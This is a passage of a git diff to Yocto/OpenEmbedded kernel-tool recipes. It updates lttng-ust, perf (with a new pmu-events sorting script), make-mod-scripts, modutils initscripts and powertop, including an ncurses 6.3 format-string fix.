1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/python-lttngust/Makefile.am b/python-lttngust/Makefile.am
-index 6c0d20d..38b51b8 100644
---- a/python-lttngust/Makefile.am
-+++ b/python-lttngust/Makefile.am
-@@ -9,7 +9,7 @@ install-exec-local:
+diff --git a/src/python-lttngust/Makefile.am b/src/python-lttngust/Makefile.am
+index f95482d..f76d95b 100644
+--- a/src/python-lttngust/Makefile.am
++++ b/src/python-lttngust/Makefile.am
+@@ -32,7 +32,7 @@ install-exec-local: build-python-bindings.stamp
if [ "$(DESTDIR)" != "" ]; then \
opts="$$opts --root=$(DESTDIR)"; \
fi; \
-- $(PYTHON) setup.py install $$opts;
-+ $(PYTHON) setup.py install $$opts --install-lib=$(pythondir);
+- $(PYTHON) $(builddir)/setup.py install $$opts;
++ $(PYTHON) $(builddir)/setup.py install $$opts --install-lib=$(pythondir);
clean-local:
rm -rf $(builddir)/build
---
-2.7.4
-
diff --git a/meta/recipes-kernel/lttng/lttng-ust/lttng-ust-doc-examples-disable.patch b/meta/recipes-kernel/lttng/lttng-ust/lttng-ust-doc-examples-disable.patch
deleted file mode 100644
index bff852799d..0000000000
--- a/meta/recipes-kernel/lttng/lttng-ust/lttng-ust-doc-examples-disable.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Don't build the doc examples - we don't need them and in fact they
-never successfully built in previous iterations of the lttng-ust
-recipe anyway.
-
-Signed-off-by: Tom Zanussi <tom.zanussi@intel.com>
-
-Index: lttng-ust-2.9.1/doc/Makefile.am
-===================================================================
---- lttng-ust-2.9.1.orig/doc/Makefile.am
-+++ lttng-ust-2.9.1/doc/Makefile.am
-@@ -1,3 +1,3 @@
--SUBDIRS = . man examples
-+SUBDIRS = . man
-
- dist_doc_DATA = java-agent.txt
diff --git a/meta/recipes-kernel/lttng/lttng-ust_2.10.5.bb b/meta/recipes-kernel/lttng/lttng-ust_2.10.5.bb
deleted file mode 100644
index cfaad30b69..0000000000
--- a/meta/recipes-kernel/lttng/lttng-ust_2.10.5.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Linux Trace Toolkit Userspace Tracer 2.x"
-DESCRIPTION = "The LTTng UST 2.x package contains the userspace tracer library to trace userspace codes."
-HOMEPAGE = "http://lttng.org/ust"
-BUGTRACKER = "https://bugs.lttng.org/projects/lttng-ust"
-
-LICENSE = "LGPLv2.1+ & MIT & GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c963eb366b781252b0bf0fdf1624d9e9 \
- file://snprintf/snprintf.c;endline=32;md5=d3d544959d8a3782b2e07451be0a903c \
- file://snprintf/various.h;endline=31;md5=89f2509b6b4682c4fc95255eec4abe44"
-
-PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
- am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
- PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
-"
-
-inherit autotools lib_package manpages python3native
-
-DEPENDS = "liburcu util-linux"
-RDEPENDS_${PN}-bin = "python3-core"
-
-# For backwards compatibility after rename
-RPROVIDES_${PN} = "lttng2-ust"
-RREPLACES_${PN} = "lttng2-ust"
-RCONFLICTS_${PN} = "lttng2-ust"
-
-PE = "2"
-
-SRC_URI = "https://lttng.org/files/lttng-ust/lttng-ust-${PV}.tar.bz2 \
- file://lttng-ust-doc-examples-disable.patch \
- file://0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch \
- "
-
-SRC_URI[md5sum] = "f0c86a9fa7dcfd0205fb42584a310b1c"
-SRC_URI[sha256sum] = "06f9ed9b2198855b1c7fcbf15fe57297ee259409ffa1b3bad87321412d98bc35"
-
-CVE_PRODUCT = "ust"
-
-PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
-PACKAGECONFIG[python3-agent] = "--enable-python-agent ${PYTHON_OPTION}, --disable-python-agent, python3, python3"
-
-FILES_${PN} += " ${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-staticdev += " ${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += " ${PYTHON_SITEPACKAGES_DIR}/*.la"
-
-do_install_append() {
- # Patch python tools to use Python 3; they should be source compatible, but
- # still refer to Python 2 in the shebang
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${bindir}/lttng-gen-tp
-}
diff --git a/meta/recipes-kernel/lttng/lttng-ust_2.13.1.bb b/meta/recipes-kernel/lttng/lttng-ust_2.13.1.bb
new file mode 100644
index 0000000000..7bd6b6910d
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-ust_2.13.1.bb
@@ -0,0 +1,53 @@
+SUMMARY = "Linux Trace Toolkit Userspace Tracer 2.x"
+DESCRIPTION = "The LTTng UST 2.x package contains the userspace tracer library to trace userspace codes."
+HOMEPAGE = "http://lttng.org/ust"
+BUGTRACKER = "https://bugs.lttng.org/projects/lttng-ust"
+
+LICENSE = "LGPL-2.1-or-later & MIT & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a46577a38ad0c36ff6ff43ccf40c480f"
+
+PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
+ am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
+ PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
+"
+
+inherit autotools lib_package manpages python3native pkgconfig
+
+include lttng-platforms.inc
+
+EXTRA_OECONF = "--disable-numa"
+CPPFLAGS:append:arm = "${@oe.utils.vartrue('DEBUG_BUILD', '-DUATOMIC_NO_LINK_ERROR', '', d)}"
+
+DEPENDS = "liburcu util-linux"
+RDEPENDS:${PN}-bin = "python3-core"
+
+# For backwards compatibility after rename
+RPROVIDES:${PN} = "lttng2-ust"
+RREPLACES:${PN} = "lttng2-ust"
+RCONFLICTS:${PN} = "lttng2-ust"
+
+PE = "2"
+
+SRC_URI = "https://lttng.org/files/lttng-ust/lttng-ust-${PV}.tar.bz2 \
+ file://0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch \
+ file://0001-lttng-ust-common-link-with-liburcu-explicitly.patch \
+ file://0001-Makefile.am-update-rpath-link.patch \
+ "
+
+SRC_URI[sha256sum] = "5667bf0269e1e62e2d9cb974c456ff86e0401bd7aa3bfc8d5fdb97233249eddc"
+
+CVE_PRODUCT = "ust"
+
+PACKAGECONFIG[examples] = "--enable-examples, --disable-examples,"
+PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
+PACKAGECONFIG[python3-agent] = "--enable-python-agent ${PYTHON_OPTION}, --disable-python-agent, python3, python3"
+
+FILES:${PN} += " ${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-staticdev += " ${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += " ${PYTHON_SITEPACKAGES_DIR}/*.la"
+
+do_install:append() {
+ # Patch python tools to use Python 3; they should be source compatible, but
+ # still refer to Python 2 in the shebang
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${bindir}/lttng-gen-tp
+}
diff --git a/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb b/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
index 460e05a445..0e420a25d9 100644
--- a/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
+++ b/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
@@ -1,6 +1,7 @@
SUMMARY = "Build tools needed by external modules"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+HOMEPAGE = "https://www.yoctoproject.org/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
inherit kernel-arch
inherit pkgconfig
@@ -12,16 +13,21 @@ S = "${WORKDIR}"
do_configure[depends] += "virtual/kernel:do_shared_workdir openssl-native:do_populate_sysroot"
do_compile[depends] += "virtual/kernel:do_compile_kernelmodules"
+RDEPENDS:${PN}-dev = ""
+
DEPENDS += "bc-native bison-native"
+DEPENDS += "gmp-native"
EXTRA_OEMAKE = " HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}""
+EXTRA_OEMAKE += " HOSTCXX="${BUILD_CXX} ${BUILD_CXXFLAGS} ${BUILD_LDFLAGS}" CROSS_COMPILE=${TARGET_PREFIX}"
# Build some host tools under work-shared. CC, LD, and AR are probably
# not used, but this is the historical way of invoking "make scripts".
#
do_configure() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
- oe_runmake CC="${KERNEL_CC}" LD="${KERNEL_LD}" AR="${KERNEL_AR}" \
- -C ${STAGING_KERNEL_DIR} O=${STAGING_KERNEL_BUILDDIR} scripts prepare
-
+ for t in prepare scripts_basic scripts; do
+ oe_runmake CC="${KERNEL_CC}" LD="${KERNEL_LD}" AR="${KERNEL_AR}" \
+ -C ${STAGING_KERNEL_DIR} O=${STAGING_KERNEL_BUILDDIR} $t
+ done
}
diff --git a/meta/recipes-kernel/modutils-initscripts/files/modutils.sh b/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
index a78adf5729..67e1dcd990 100755
--- a/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
+++ b/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
@@ -13,14 +13,17 @@
LOAD_MODULE=modprobe
[ -f /proc/modules ] || exit 0
-[ -f /etc/modules ] || [ -d /etc/modules-load.d ] || exit 0
-[ -e /sbin/modprobe ] || LOAD_MODULE=insmod
+[ -d /lib/modules/`uname -r` ] || exit 0
-if [ ! -f /lib/modules/`uname -r`/modules.dep ]; then
+# Test if modules.dep exists and has a size greater than zero
+if [ ! -s /lib/modules/`uname -r`/modules.dep ]; then
[ "$VERBOSE" != no ] && echo "Calculating module dependencies ..."
- depmod -Ae
+ depmod -a
fi
+[ -f /etc/modules ] || [ -d /etc/modules-load.d ] || exit 0
+[ -e /sbin/modprobe ] || LOAD_MODULE=insmod
+
loaded_modules=" "
process_file() {
diff --git a/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb b/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
index 0f3df5577b..aa71309126 100644
--- a/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
+++ b/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
@@ -10,7 +10,7 @@ PR = "r7"
S = "${WORKDIR}"
INITSCRIPT_NAME = "modutils.sh"
-INITSCRIPT_PARAMS = "start 05 S ."
+INITSCRIPT_PARAMS = "start 06 S ."
inherit update-rc.d
@@ -22,9 +22,9 @@ do_install () {
install -m 0755 ${WORKDIR}/modutils.sh ${D}${sysconfdir}/init.d/
}
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
-pkg_postinst_${PN} () {
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
+pkg_postinst:${PN} () {
+ if type systemctl >/dev/null 2>/dev/null; then
if [ -n "$D" ]; then
OPTS="--root=$D"
fi
diff --git a/meta/recipes-kernel/perf/perf.bb b/meta/recipes-kernel/perf/perf.bb
index 5f0ba7c180..adefc44eaa 100644
--- a/meta/recipes-kernel/perf/perf.bb
+++ b/meta/recipes-kernel/perf/perf.bb
@@ -7,7 +7,7 @@ and software features (software counters, tracepoints) \
as well."
HOMEPAGE = "https://perf.wiki.kernel.org/index.php/Main_Page"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
PR = "r9"
@@ -26,10 +26,12 @@ PACKAGECONFIG[jvmti] = ",NO_JVMTI=1"
PACKAGECONFIG[audit] = ",NO_LIBAUDIT=1,audit"
PACKAGECONFIG[manpages] = ",,xmlto-native asciidoc-native"
PACKAGECONFIG[cap] = ",,libcap"
+# Arm CoreSight
+PACKAGECONFIG[coresight] = "CORESIGHT=1,,opencsd"
# libunwind is not yet ported for some architectures
-PACKAGECONFIG_remove_arc = "libunwind"
-PACKAGECONFIG_remove_riscv64 = "libunwind"
+PACKAGECONFIG:remove:arc = "libunwind"
+PACKAGECONFIG:remove:riscv32 = "libunwind"
DEPENDS = " \
virtual/${MLPREFIX}libc \
@@ -45,14 +47,14 @@ PROVIDES = "virtual/perf"
inherit linux-kernel-base kernel-arch manpages
# needed for building the tools/perf Python bindings
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'python3native', '', d)}
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'python3targetconfig', '', d)}
inherit python3-dir
export PYTHON_SITEPACKAGES_DIR
#kernel 3.1+ supports WERROR to disable warnings as errors
export WERROR = "0"
-do_populate_lic[depends] += "virtual/kernel:do_patch"
+do_populate_lic[depends] += "virtual/kernel:do_shared_workdir"
# needed for building the tools/perf Perl binding
include ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'perf-perl.inc', '', d)}
@@ -68,14 +70,18 @@ SPDX_S = "${S}/tools/perf"
LDFLAGS="-ldl -lutil"
EXTRA_OEMAKE = '\
+ V=1 \
-C ${S}/tools/perf \
O=${B} \
CROSS_COMPILE=${TARGET_PREFIX} \
ARCH=${ARCH} \
CC="${CC}" \
+ CCLD="${CC}" \
+ LDSHARED="${CC} -shared" \
AR="${AR}" \
LD="${LD}" \
EXTRA_CFLAGS="-ldw" \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \
EXTRA_LDFLAGS="${PERF_EXTRA_LDFLAGS}" \
perfexecdir=${libexecdir} \
NO_GTK2=1 \
@@ -103,7 +109,7 @@ EXTRA_OEMAKE += "\
# that it has to be done this way rather than by passing -j1, since
# perf's build system by default ignores any -j argument, but does
# honour a JOBS variable.
-EXTRA_OEMAKE_append_task-configure = " JOBS=1"
+EXTRA_OEMAKE:append:task-configure = " JOBS=1"
PERF_SRC ?= "Makefile \
tools/arch \
@@ -119,9 +125,11 @@ PERF_SRC ?= "Makefile \
PERF_EXTRA_LDFLAGS = ""
-# MIPS N32
-PERF_EXTRA_LDFLAGS_mipsarchn32eb = "-m elf32btsmipn32"
-PERF_EXTRA_LDFLAGS_mipsarchn32el = "-m elf32ltsmipn32"
+# MIPS N32/N64
+PERF_EXTRA_LDFLAGS:mipsarchn32eb = "-m elf32btsmipn32"
+PERF_EXTRA_LDFLAGS:mipsarchn32el = "-m elf32ltsmipn32"
+PERF_EXTRA_LDFLAGS:mipsarchn64eb = "-m elf64btsmip"
+PERF_EXTRA_LDFLAGS:mipsarchn64el = "-m elf64ltsmip"
do_compile() {
# Linux kernel build system is expected to do the right thing
@@ -145,6 +153,7 @@ python copy_perf_source_from_kernel() {
src_dir = d.getVar("STAGING_KERNEL_DIR")
dest_dir = d.getVar("S")
bb.utils.mkdirhier(dest_dir)
+ bb.utils.prunedir(dest_dir)
for s in sources:
src = oe.path.join(src_dir, s)
dest = oe.path.join(dest_dir, s)
@@ -158,7 +167,7 @@ python copy_perf_source_from_kernel() {
bb.utils.copyfile(src, dest)
}
-do_configure_prepend () {
+do_configure:prepend () {
# If building a multlib based perf, the incorrect library path will be
# detected by perf, since it triggers via: ifeq ($(ARCH),x86_64). In a 32 bit
# build, with a 64 bit multilib, the arch won't match and the detection of a
@@ -196,6 +205,9 @@ do_configure_prepend () {
${S}/tools/perf/Makefile.perf
sed -i -e "s,prefix='\$(DESTDIR_SQ)/usr'$,prefix='\$(DESTDIR_SQ)/usr' --install-lib='\$(DESTDIR)\$(PYTHON_SITEPACKAGES_DIR)',g" \
${S}/tools/perf/Makefile.perf
+ # backport https://github.com/torvalds/linux/commit/e4ffd066ff440a57097e9140fa9e16ceef905de8
+ sed -i -e 's,\($(Q)$(SHELL) .$(arch_errno_tbl).\) $(CC) $(arch_errno_hdr_dir),\1 $(firstword $(CC)) $(arch_errno_hdr_dir),g' \
+ ${S}/tools/perf/Makefile.perf
fi
sed -i -e "s,--root='/\$(DESTDIR_SQ)',--prefix='\$(DESTDIR_SQ)/usr' --install-lib='\$(DESTDIR)\$(PYTHON_SITEPACKAGES_DIR)',g" \
${S}/tools/perf/Makefile*
@@ -205,6 +217,51 @@ do_configure_prepend () {
${S}/tools/build/Makefile.build
fi
+ # start reproducibility substitutions
+ if [ -e "${S}/tools/perf/Makefile.config" ]; then
+ # The following line in the Makefle:
+ # override PYTHON := $(call get-executable-or-default,PYTHON,$(PYTHON_AUTO))
+ # "PYTHON" / "PYTHON_AUTO" have the full path as part of the variable. We've
+ # ensure that the environment is setup and we do not need the full path to be
+ # captured, since the symbol gets built into the executable, making it not
+ # reproducible.
+ sed -i -e 's,$(call get-executable-or-default\,PYTHON\,$(PYTHON_AUTO)),$(notdir $(call get-executable-or-default\,PYTHON\,$(PYTHON_AUTO))),g' \
+ ${S}/tools/perf/Makefile.config
+
+ # The following line:
+ # srcdir_SQ = $(patsubst %tools/perf,tools/perf,$(subst ','\'',$(srcdir))),
+ # Captures the full src path of perf, which of course makes it not
+ # reproducible. We really only need the relative location 'tools/perf', so we
+ # change the Makefile line to remove everything before 'tools/perf'
+ sed -i -e "s%srcdir_SQ = \$(subst ','\\\'',\$(srcdir))%srcdir_SQ = \$(patsubst \%tools/perf,tools/perf,\$(subst ','\\\'',\$(srcdir)))%g" \
+ ${S}/tools/perf/Makefile.config
+ fi
+ if [ -e "${S}/tools/perf/tests/Build" ]; then
+ # OUTPUT is the full path, we have python on the path so we remove it from the
+ # definition. This is captured in the perf binary, so breaks reproducibility
+ sed -i -e 's,PYTHONPATH="BUILD_STR($(OUTPUT)python)",PYTHONPATH="BUILD_STR(python)",g' \
+ ${S}/tools/perf/tests/Build
+ fi
+ if [ -e "${S}/tools/perf/util/Build" ]; then
+ # To avoid bison generating #ifdefs that have captured paths, we make sure
+ # all the calls have YFLAGS, which contains prefix mapping information.
+ sed -i -e 's,$(BISON),$(BISON) $(YFLAGS),g' ${S}/tools/perf/util/Build
+ fi
+ if [ -e "${S}/scripts/Makefile.host" ]; then
+ # To avoid yacc (bison) generating #ifdefs that have captured paths, we make sure
+ # all the calls have YFLAGS, which contains prefix mapping information.
+ sed -i -e 's,$(YACC),$(YACC) $(YFLAGS),g' ${S}/scripts/Makefile.host
+ fi
+ if [ -e "${S}/tools/perf/pmu-events/Build" ]; then
+ target='$(OUTPUT)pmu-events/pmu-events.c $(V)'
+ replacement1='$(OUTPUT)pmu-events/pmu-events.c $(V)\n'
+ replacement2='\t$(srctree)/sort-pmuevents.py $(OUTPUT)pmu-events/pmu-events.c $(OUTPUT)pmu-events/pmu-events.c.new\n'
+ replacement3='\tcp $(OUTPUT)pmu-events/pmu-events.c.new $(OUTPUT)pmu-events/pmu-events.c'
+ sed -i -e "s,$target,$replacement1$replacement2$replacement3,g" \
+ "${S}/tools/perf/pmu-events/Build"
+ fi
+ # end reproducibility substitutions
+
# We need to ensure the --sysroot option in CC is preserved
if [ -e "${S}/tools/perf/Makefile.perf" ]; then
sed -i 's,CC = $(CROSS_COMPILE)gcc,#CC,' ${S}/tools/perf/Makefile.perf
@@ -237,19 +294,25 @@ do_configure_prepend () {
fi
# use /usr/bin/env instead of version specific python
- for s in `find ${S}/tools/perf/ -name '*.py'`; do
- sed -i 's,/usr/bin/python,/usr/bin/env python3,' "${s}"
- sed -i 's,/usr/bin/python2,/usr/bin/env python3,' "${s}"
- sed -i 's,/usr/bin/env python2,/usr/bin/env python3,' "${s}"
+ for s in `find ${S}/tools/perf/ -name '*.py'` `find ${S}/scripts/ -name 'bpf_helpers_doc.py'`; do
+ sed -i -e "s,#!.*python.*,#!${USRBINPATH}/env python3," ${s}
done
# unistd.h can be out of sync between libc-headers and the captured version in the perf source
# so we copy it from the sysroot unistd.h to the perf unistd.h
install -D -m0644 ${STAGING_INCDIR}/asm-generic/unistd.h ${S}/tools/include/uapi/asm-generic/unistd.h
install -D -m0644 ${STAGING_INCDIR}/asm-generic/unistd.h ${S}/include/uapi/asm-generic/unistd.h
+
+ # the fetcher is inhibited by the 'inherit kernelsrc', so we do a quick check and
+ # copy for a helper script we need
+ for p in $(echo ${FILESPATH} | tr ':' '\n'); do
+ if [ -e $p/sort-pmuevents.py ]; then
+ cp $p/sort-pmuevents.py ${S}
+ fi
+ done
}
-python do_package_prepend() {
+python do_package:prepend() {
d.setVar('PKGV', d.getVar("KERNEL_VERSION").split("-")[0])
}
@@ -258,25 +321,25 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
PACKAGES =+ "${PN}-archive ${PN}-tests ${PN}-perl ${PN}-python"
-RDEPENDS_${PN} += "elfutils bash"
-RDEPENDS_${PN}-archive =+ "bash"
-RDEPENDS_${PN}-python =+ "bash python3 python3-modules ${@bb.utils.contains('PACKAGECONFIG', 'audit', 'audit-python3', '', d)}"
-RDEPENDS_${PN}-perl =+ "bash perl perl-modules"
-RDEPENDS_${PN}-tests =+ "python3"
+RDEPENDS:${PN} += "elfutils bash"
+RDEPENDS:${PN}-archive =+ "bash"
+RDEPENDS:${PN}-python =+ "bash python3 python3-modules ${@bb.utils.contains('PACKAGECONFIG', 'audit', 'audit-python', '', d)}"
+RDEPENDS:${PN}-perl =+ "bash perl perl-modules"
+RDEPENDS:${PN}-tests =+ "python3 bash"
RSUGGESTS_SCRIPTING = "${@bb.utils.contains('PACKAGECONFIG', 'scripting', '${PN}-perl ${PN}-python', '',d)}"
-RSUGGESTS_${PN} += "${PN}-archive ${PN}-tests ${RSUGGESTS_SCRIPTING}"
+RSUGGESTS:${PN} += "${PN}-archive ${PN}-tests ${RSUGGESTS_SCRIPTING}"
FILES_SOLIBSDEV = ""
-FILES_${PN} += "${libexecdir}/perf-core ${exec_prefix}/libexec/perf-core ${libdir}/traceevent ${libdir}/libperf-jvmti.so"
-FILES_${PN}-archive = "${libdir}/perf/perf-core/perf-archive"
-FILES_${PN}-tests = "${libdir}/perf/perf-core/tests ${libexecdir}/perf-core/tests"
-FILES_${PN}-python = " \
+FILES:${PN} += "${libexecdir}/perf-core ${exec_prefix}/libexec/perf-core ${libdir}/traceevent ${libdir}/libperf-jvmti.so"
+FILES:${PN}-archive = "${libdir}/perf/perf-core/perf-archive"
+FILES:${PN}-tests = "${libdir}/perf/perf-core/tests ${libexecdir}/perf-core/tests"
+FILES:${PN}-python = " \
${PYTHON_SITEPACKAGES_DIR} \
${libexecdir}/perf-core/scripts/python \
"
-FILES_${PN}-perl = "${libexecdir}/perf-core/scripts/perl"
+FILES:${PN}-perl = "${libexecdir}/perf-core/scripts/perl"
INHIBIT_PACKAGE_DEBUG_SPLIT="1"
-DEBUG_OPTIMIZATION_append = " -Wno-error=maybe-uninitialized"
+DEBUG_OPTIMIZATION:append = " -Wno-error=maybe-uninitialized"
diff --git a/meta/recipes-kernel/perf/perf/sort-pmuevents.py b/meta/recipes-kernel/perf/perf/sort-pmuevents.py
new file mode 100755
index 0000000000..09ba3328a7
--- /dev/null
+++ b/meta/recipes-kernel/perf/perf/sort-pmuevents.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python3
+
+# perf pmu-events sorting tool
+#
+# Copyright (C) 2021 Bruce Ashfield
+#
+# SPDX-License-Identifier: MIT
+#
+
+import sys
+import os
+import re
+from collections import OrderedDict
+
+if len(sys.argv) < 2:
+ print( "[ERROR]: input and output pmu files missing" )
+ sys.exit(1)
+
+if len(sys.argv) < 3:
+ print( "[ERROR]: output pmu file missing" )
+ sys.exit(1)
+
+infile = sys.argv[1]
+outfile = sys.argv[2]
+
+if not os.path.exists(infile):
+ print( "ERROR. input file does not exist: %s" % infile )
+ sys.exit(1)
+
+if os.path.exists(outfile):
+ print( "WARNING. output file will be overwritten: %s" % infile )
+
+with open(infile, 'r') as file:
+ data = file.read()
+
+preamble_regex = re.compile( '^(.*?)^(struct|const struct|static struct|static const struct)', re.MULTILINE | re.DOTALL )
+
+preamble = re.search( preamble_regex, data )
+struct_block_regex = re.compile( '^(struct|const struct|static struct|static const struct).*?(\w+) (.*?)\[\] = {(.*?)^};', re.MULTILINE | re.DOTALL )
+field_regex = re.compile( '{.*?},', re.MULTILINE | re.DOTALL )
+cpuid_regex = re.compile( '\.cpuid = (.*?),', re.MULTILINE | re.DOTALL )
+name_regex = re.compile( '\.name = (.*?),', re.MULTILINE | re.DOTALL )
+
+# create a dictionary structure to store all the structs, their
+# types and then their fields.
+entry_dict = {}
+for struct in re.findall( struct_block_regex, data ):
+ # print( "struct: %s %s %s" % (struct[0],struct[1],struct[2]) )
+ entry_dict[struct[2]] = {}
+ entry_dict[struct[2]]['type_prefix'] = struct[0]
+ entry_dict[struct[2]]['type'] = struct[1]
+ entry_dict[struct[2]]['fields'] = {}
+ for entry in re.findall( field_regex, struct[3] ):
+ #print( " entry: %s" % entry )
+ cpuid = re.search( cpuid_regex, entry )
+ if cpuid:
+ #print( " cpuid found: %s" % cpuid.group(1) )
+ entry_dict[struct[2]]['fields'][cpuid.group(1)] = entry
+
+ name = re.search( name_regex, entry )
+ if name:
+ #print( " name found: %s" % name.group(1) )
+ entry_dict[struct[2]]['fields'][name.group(1)] = entry
+
+ if not entry_dict[struct[2]]['fields']:
+ entry_dict[struct[2]]['fields']['0'] = entry
+
+# created ordered dictionaries from the captured values. These are ordered by
+# a sorted() iteration of the keys. We don't care about the order we read
+# things, just the sorted order. Hency why we couldn't create these during
+# reading.
+#
+# yes, there's a more concise way to do this, but our nested dictionaries of
+# fields make it complex enough that it becomes unreadable.
+entry_dict_sorted = OrderedDict()
+for i in sorted(entry_dict.keys()):
+ entry_dict_sorted[i] = {}
+ entry_dict_sorted[i]['type_prefix'] = entry_dict[i]['type_prefix']
+ entry_dict_sorted[i]['type'] = entry_dict[i]['type']
+ entry_dict_sorted[i]['fields'] = {}
+ for f in sorted(entry_dict[i]['fields'].keys()):
+ entry_dict_sorted[i]['fields'][f] = entry_dict[i]['fields'][f]
+
+# dump the sorted elements to the outfile
+outf = open( outfile, 'w' )
+
+print( preamble.group(1) )
+outf.write( preamble.group(1) )
+for d in entry_dict_sorted:
+ outf.write( "%s %s %s[] = {\n" % (entry_dict_sorted[d]['type_prefix'], entry_dict_sorted[d]['type'],d) )
+ for f in entry_dict_sorted[d]['fields']:
+ outf.write( entry_dict_sorted[d]['fields'][f] + '\n' )
+
+ outf.write( "};\n" )
+
+outf.close()
+
diff --git a/meta/recipes-kernel/powertop/powertop/0001-src-fix-compatibility-with-ncurses-6.3.patch b/meta/recipes-kernel/powertop/powertop/0001-src-fix-compatibility-with-ncurses-6.3.patch
new file mode 100644
index 0000000000..84b05ac971
--- /dev/null
+++ b/meta/recipes-kernel/powertop/powertop/0001-src-fix-compatibility-with-ncurses-6.3.patch
@@ -0,0 +1,52 @@
+From 76d3f0851520bc8488e432f423941f1e72cc7405 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 17:47:23 +0200
+Subject: [PATCH] src: fix compatibility with ncurses 6.3
+
+Upstream-Status: Submitted [https://github.com/fenrus75/powertop/pull/92]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ src/devices/devfreq.cpp | 2 +-
+ src/display.cpp | 2 +-
+ src/lib.cpp | 2 +-
+ 3 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/devices/devfreq.cpp b/src/devices/devfreq.cpp
+index 0509d0f..b194ac4 100644
+--- a/src/devices/devfreq.cpp
++++ b/src/devices/devfreq.cpp
+@@ -297,7 +297,7 @@ void display_devfreq_devices(void)
+ df->fill_freq_utilization(j, buf);
+ strcat(fline, buf);
+ strcat(fline, "\n");
+- wprintw(win, fline);
++ wprintw(win, "%s", fline);
+ }
+ wprintw(win, "\n");
+ }
+diff --git a/src/display.cpp b/src/display.cpp
+index 7131144..cc03919 100644
+--- a/src/display.cpp
++++ b/src/display.cpp
+@@ -125,7 +125,7 @@ void show_tab(unsigned int tab)
+
+ c = bottom_lines[tab_names[tab]].c_str();
+ if (c && strlen(c) > 0)
+- mvwprintw(bottom_line, 0,0, c);
++ mvwprintw(bottom_line, 0,0, "%s", c);
+ else
+ mvwprintw(bottom_line, 0, 0,
+ "<ESC> %s | <TAB> / <Shift + TAB> %s | ", _("Exit"),
+diff --git a/src/lib.cpp b/src/lib.cpp
+index 5e48f37..5cd1c4a 100644
+--- a/src/lib.cpp
++++ b/src/lib.cpp
+@@ -583,7 +583,7 @@ void ui_notify_user_ncurses(const char *frmt, ...)
+ * buffer */
+ vsnprintf(notify, UI_NOTIFY_BUFF_SZ - 1, frmt, list);
+ va_end(list);
+- mvprintw(1, 0, notify);
++ mvprintw(1, 0, "%s", notify);
+ attroff(COLOR_PAIR(1));
+ }
+
diff --git a/meta/recipes-kernel/powertop/powertop_2.10.bb b/meta/recipes-kernel/powertop/powertop_2.10.bb
deleted file mode 100644
index 5be8d23111..0000000000
--- a/meta/recipes-kernel/powertop/powertop_2.10.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Power usage tool"
-DESCRIPTION = "Linux tool to diagnose issues with power consumption and power management."
-HOMEPAGE = "http://01.org/powertop/"
